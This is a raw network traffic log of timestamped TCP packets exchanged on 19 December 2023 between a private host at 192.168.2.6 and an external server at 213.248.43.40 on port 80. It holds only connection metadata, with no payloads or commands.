Dec 19, 2023 05:18:19.063379049 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.063891888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.063908100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.063951015 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064013004 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064024925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064071894 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064138889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064186096 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064208984 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064232111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064265013 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064285040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064353943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064412117 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064620972 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064666986 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064708948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064764977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.064951897 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064982891 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.064997911 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.065030098 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.065099955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.065149069 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.065422058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.065470934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.065705061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.065752029 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.065804958 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.065942049 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.066071987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.067028046 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.067039967 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.067080975 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.067145109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.067184925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.067293882 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.079394102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.079477072 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.079509974 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.079639912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.342648029 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343352079 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343393087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343405008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343416929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343543053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343635082 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343802929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.343995094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344080925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344423056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344485998 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344784021 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344831944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344842911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.344903946 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.345168114 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.345261097 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.345643044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346028090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346340895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346590042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346601009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346743107 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346782923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.346857071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.347280979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.347529888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.348139048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.348378897 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.348690987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.348958969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.348988056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349157095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349252939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349473953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349642992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349693060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.349956036 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350064039 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350188017 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350310087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350496054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350652933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.350784063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.351162910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.351258039 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.351763964 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.351774931 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.351902962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.352093935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.352346897 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.352710962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.352849007 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353017092 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353091955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353230000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353323936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353507042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353888988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.353998899 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.354011059 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.354084969 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.354135990 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.354156017 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.361599922 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.361639977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.361653090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.361653090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.361706018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.361965895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362009048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.362051010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362093925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.362147093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362188101 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.362354040 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362373114 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362391949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.362406015 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.362601042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.362643003 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.635973930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636085033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.636292934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636337042 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.636815071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636857033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.636877060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636903048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636914968 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.636945009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.636951923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.636987925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.637048006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.637084007 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.637109041 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.637144089 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.637217999 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.637278080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.643501043 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.643611908 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.643707037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.643789053 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.643836021 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.643904924 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.643940926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.643984079 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.644136906 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.644201040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.644495964 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.644541025 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.918239117 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.918339014 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.919538975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.919596910 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.919653893 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.919704914 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.919707060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.919755936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.926114082 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.926171064 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.926212072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.926259995 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.926440001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.926487923 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.926640987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.926685095 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.926871061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.926919937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.927196026 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.927227974 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.927252054 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.927273035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.927464962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.927515984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.927902937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.927948952 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928191900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928237915 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928237915 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928282022 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928282976 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928323984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928348064 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928395033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928761005 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928822041 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928853035 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928899050 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.928919077 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.928963900 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.929197073 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.929240942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.929672003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.929723024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.929892063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.929939032 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.930571079 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.930591106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.930618048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.930638075 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.930907965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.930954933 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931148052 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931196928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931209087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931250095 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931328058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931365013 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931380033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931405067 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931437016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931483030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931583881 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931629896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931721926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931771040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.931931973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.931979895 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.932173967 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.932219982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.932486057 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.932564974 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.932837009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.932893991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.933237076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.933284044 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.933362961 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.933413029 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.933597088 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.933645010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.933691025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.933737040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.934238911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.934250116 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.934294939 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.935154915 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.935193062 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.935210943 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.935240984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.935487986 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.935538054 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.979362965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.979490995 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.200773954 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.200794935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.200864077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.200891972 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.201443911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.201709986 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.201790094 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.203011990 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.208475113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.208543062 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.208924055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.209677935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.209959984 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.211215019 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.211323977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.211364985 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.211450100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.212147951 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.212246895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.212372065 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.212433100 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.227709055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.227786064 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.227818012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.229275942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.229275942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.262887001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.262938976 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.338845968 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.483840942 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.483931065 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.494370937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.494383097 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.494426012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.509777069 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.509789944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.509954929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.510030985 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.510091066 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.510344982 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.511106968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.511172056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.511254072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.511296988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.512775898 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.512875080 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.513012886 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.513077974 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.513118982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.544943094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.545032024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.620748043 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.765872955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.765891075 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.765929937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.765948057 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.776401997 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.776458979 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.776482105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.776526928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795106888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795166969 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795173883 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795218945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795380116 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795418024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795423985 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795461893 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795532942 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795578957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795582056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795629978 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795712948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795757055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795811892 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795850992 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.795923948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.795973063 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.796107054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.796154022 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.796287060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.796333075 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.796652079 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.796690941 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.796709061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.796745062 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.796948910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.796988964 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797025919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.797068119 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.797070980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797112942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797132969 CET	80	49712	213.248.43.40	192.168.2.6
